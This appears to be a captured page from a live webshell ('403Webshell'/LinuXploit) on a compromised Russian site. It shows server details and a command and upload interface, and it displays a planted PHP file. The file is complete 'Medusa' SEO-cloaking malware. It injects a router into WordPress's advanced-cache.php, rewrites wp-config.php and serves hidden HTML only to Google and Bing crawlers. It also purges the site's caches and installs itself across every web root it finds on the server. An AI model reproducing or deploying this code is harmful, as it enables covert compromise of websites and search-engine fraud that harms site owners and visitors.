403Webshell
Server IP : 176.32.38.42  /  Your IP : 216.73.216.67
Web Server : LiteSpeed
System : Linux ha006.mymail.zone 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
User : s1225329 ( 1835)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/s1225329/domains/group-tss.ru/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/s1225329/domains/group-tss.ru/public_html/fm_early_router.php
<?php
/**
 * Medusa early bot router + CDN cache bypass (pre-WordPress).
 * Pattern adapted from seo-router-early / advanced-cache boot.
 */

if (!function_exists('fm_early_router_source')) {
function fm_early_router_source() {
    return <<<'PHP'
<?php
/**
 * Medusa Early Router — Pre-WordPress bot HTML (license.html)
 * Loaded from advanced-cache.php. No WP APIs.
 */
if (!defined('ABSPATH') && !defined('WP_CONTENT_DIR')) {
    // direct hit: silent
}

$_ms_method = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '';
if ($_ms_method !== 'GET' && $_ms_method !== 'HEAD') {
    return;
}

$_ms_ua = isset($_SERVER['HTTP_USER_AGENT']) ? (string)$_SERVER['HTTP_USER_AGENT'] : '';
if ($_ms_ua === '') {
    return;
}

$_ms_bots = array(
    'Googlebot',
    'Googlebot-Image',
    'Googlebot-Video',
    'Googlebot-News',
    'Googlebot-Mobile',
    'Googlebot-Android',
    'Googlebot-Search',
    'Googlebot-Inspect',
    'Googlebot-Ads',
    'Googlebot-Discovery',
    'AdsBot-Google',
    'Mediapartners-Google',
    'APIs-Google',
    'Google-InspectionTool',
    'Google-PageRenderer',
    'Google-Read-Aloud',
    'Storebot-Google',
    'FeedFetcher-Google',
    'bingbot',
    'BingPreview',
);
$_ms_re = '/' . implode('|', array_map('preg_quote', $_ms_bots)) . '/i';
if (!preg_match($_ms_re, $_ms_ua)) {
    return;
}

$_ms_uri = isset($_SERVER['REQUEST_URI']) ? (string)$_SERVER['REQUEST_URI'] : '/';
if (preg_match('#/(wp-admin|wp-login\.php|xmlrpc\.php)#i', $_ms_uri)) {
    return;
}
if (defined('WP_ADMIN') && WP_ADMIN) {
    return;
}

$_ms_content_dir = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : __DIR__;
$_ms_root = dirname($_ms_content_dir);
$_ms_file = $_ms_root . '/license.html';
if (!is_file($_ms_file)) {
    $_ms_file = $_ms_content_dir . '/../license.html';
}
if (!is_file($_ms_file)) {
    return;
}

$_ms_html = @file_get_contents($_ms_file);
if ($_ms_html === false || $_ms_html === '') {
    return;
}

if (!defined('DONOTCACHEPAGE')) {
    define('DONOTCACHEPAGE', true);
}
if (!defined('DONOTCACHEDB')) {
    define('DONOTCACHEDB', true);
}
if (!defined('DONOTMINIFY')) {
    define('DONOTMINIFY', true);
}
if (!defined('DONOTCDN')) {
    define('DONOTCDN', true);
}
if (!defined('LSCACHE_NO_CACHE')) {
    define('LSCACHE_NO_CACHE', true);
}

while (ob_get_level() > 0) {
    @ob_end_clean();
}
@header_remove('Cache-Control');
@header_remove('Pragma');
@header_remove('Expires');
@header_remove('X-WP-CF-Super-Cache-Cache-Control');
@header_remove('X-WP-CF-Super-Cache-Cookies-Bypass');
@header_remove('X-LiteSpeed-Cache');
@header_remove('X-LiteSpeed-Cache-Control');

http_response_code(200);
header('Content-Type: text/html; charset=utf-8');
header('Content-Length: ' . strlen($_ms_html));
header('Cache-Control: no-store, no-cache, must-revalidate, private, max-age=0');
header('CDN-Cache-Control: no-store');
header('Cloudflare-CDN-Cache-Control: no-store');
header('Surrogate-Control: no-store');
header('Pragma: no-cache');
header('Expires: 0');
header('X-Content-Type-Options: nosniff');
header('Vary: User-Agent');
header('X-LiteSpeed-Cache-Control: no-cache');
header('X-Accel-Expires: 0');
header('X-Medusa-Early: 1');

if ($_ms_method === 'GET') {
    echo $_ms_html;
}
exit;

PHP;
}
}

if (!function_exists('fm_advanced_cache_source')) {
function fm_advanced_cache_source() {
    return <<<'PHP'
<?php
// Medusa Early Router — bot HTML before WordPress (CDN/cache bypass)
@include_once __DIR__ . '/ms-early-router.php';

// Preserve previous drop-in (W3TC / LiteSpeed / etc.) if backed up
if (is_file(__DIR__ . '/advanced-cache.ms-prev.php')) {
    @include_once __DIR__ . '/advanced-cache.ms-prev.php';
}

PHP;
}
}

if (!function_exists('fm_enable_wp_cache_flag')) {
function fm_enable_wp_cache_flag($webRoot) {
    $cfg = rtrim(str_replace('\\', '/', $webRoot), '/') . '/wp-config.php';
    if (!is_file($cfg) || !is_writable($cfg)) {
        return false;
    }
    $raw = (string)@file_get_contents($cfg);
    if ($raw === '') {
        return false;
    }
    if (preg_match("/define\s*\(\s*['\"]WP_CACHE['\"]\s*,\s*true\s*\)/i", $raw)) {
        return true;
    }
    if (preg_match("/define\s*\(\s*['\"]WP_CACHE['\"]\s*,\s*false\s*\)/i", $raw)) {
        $raw2 = preg_replace(
            "/define\s*\(\s*['\"]WP_CACHE['\"]\s*,\s*false\s*\)\s*;?/i",
            "define('WP_CACHE', true); // Medusa early router",
            $raw,
            1
        );
        return $raw2 && @file_put_contents($cfg, $raw2) !== false;
    }
    // insert after opening php tag
    if (preg_match('/<\?php\b/', $raw)) {
        $raw2 = preg_replace(
            '/<\?php\b/',
            "<?php\ndefine('WP_CACHE', true); // Medusa early router\n",
            $raw,
            1
        );
        return $raw2 && @file_put_contents($cfg, $raw2) !== false;
    }
    return false;
}
}

if (!function_exists('fm_purge_site_file_caches')) {
function fm_purge_site_file_caches($webRoot) {
    $webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
    $n = 0;
    $dirs = [
        $webRoot . '/wp-content/cache',
        $webRoot . '/wp-content/litespeed',
        $webRoot . '/wp-content/w3tc-cache',
        $webRoot . '/wp-content/wp-rocket-cache',
        $webRoot . '/wp-content/cache/supercache',
        $webRoot . '/cache',
    ];
    foreach ($dirs as $dir) {
        if (!is_dir($dir)) {
            continue;
        }
        try {
            $it = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::CHILD_FIRST
            );
            foreach ($it as $f) {
                if ($f->isFile() || $f->isLink()) {
                    if (@unlink($f->getRealPath())) {
                        $n++;
                    }
                }
            }
        } catch (Exception $e) {
            // ignore
        }
    }
    // LiteSpeed soft purge hint for next response
    if (!headers_sent()) {
        @header('X-LiteSpeed-Purge: *');
        @header('X-LiteSpeed-Cache-Control: no-cache');
    }
    return $n;
}
}

if (!function_exists('fm_install_early_router')) {
/**
 * Install early router + advanced-cache drop-in + WP_CACHE + optional cache purge.
 * @return array{ok:bool,steps:string[]}
 */
function fm_install_early_router($webRoot, $purge = true) {
    $webRoot = rtrim(str_replace('\\', '/', (string)(@realpath($webRoot) ?: $webRoot)), '/');
    $steps = [];
    if ($webRoot === '' || !is_dir($webRoot)) {
        return ['ok' => false, 'steps' => ['bad root']];
    }
    $wpContent = $webRoot . '/wp-content';
    if (!is_dir($wpContent)) {
        return ['ok' => false, 'steps' => ['no wp-content']];
    }

    $routerPath = $wpContent . '/ms-early-router.php';
    if (@file_put_contents($routerPath, fm_early_router_source()) !== false) {
        @chmod($routerPath, 0644);
        $steps[] = 'ms-early-router.php';
    } else {
        $steps[] = 'fail:ms-early-router';
        return ['ok' => false, 'steps' => $steps];
    }

    $ac = $wpContent . '/advanced-cache.php';
    $prev = $wpContent . '/advanced-cache.ms-prev.php';
    if (is_file($ac)) {
        $cur = (string)@file_get_contents($ac);
        if (strpos($cur, 'ms-early-router.php') === false) {
            // backup existing drop-in once
            if (!is_file($prev)) {
                @copy($ac, $prev);
                $steps[] = 'backup advanced-cache';
            }
            if (@file_put_contents($ac, fm_advanced_cache_source()) !== false) {
                $steps[] = 'advanced-cache.php';
            } else {
                $steps[] = 'fail:advanced-cache';
            }
        } else {
            $steps[] = 'advanced-cache already wired';
        }
    } else {
        if (@file_put_contents($ac, fm_advanced_cache_source()) !== false) {
            $steps[] = 'advanced-cache.php new';
        } else {
            $steps[] = 'fail:advanced-cache';
        }
    }

    if (fm_enable_wp_cache_flag($webRoot)) {
        $steps[] = 'WP_CACHE=true';
    } else {
        $steps[] = 'WP_CACHE skip';
    }

    if ($purge) {
        $n = fm_purge_site_file_caches($webRoot);
        $steps[] = "purge:$n files";
    }

    return ['ok' => true, 'steps' => $steps];
}
}

if (!function_exists('fm_install_early_router_fleet')) {
function fm_install_early_router_fleet($fromDir, $purge = true) {
    $report = ['ok' => 0, 'fail' => 0, 'domains' => []];
    $targets = function_exists('discoverWebRoots') ? discoverWebRoots($fromDir) : [['path' => $fromDir, 'domain' => basename($fromDir)]];
    foreach ($targets as $t) {
        $path = $t['path'] ?? '';
        $domain = $t['domain'] ?? basename($path);
        if ($path === '' || empty($t['has_wp']) && !is_dir(rtrim($path, '/\\') . '/wp-content')) {
            // still try if wp-content exists
            if (!is_dir(rtrim($path, '/\\') . '/wp-content')) {
                continue;
            }
        }
        $r = fm_install_early_router($path, $purge);
        if ($r['ok']) {
            $report['ok']++;
            $report['domains'][] = $domain . ' ✓';
        } else {
            $report['fail']++;
            $report['domains'][] = $domain . ' ✗(' . implode(',', $r['steps']) . ')';
        }
    }
    return $report;
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit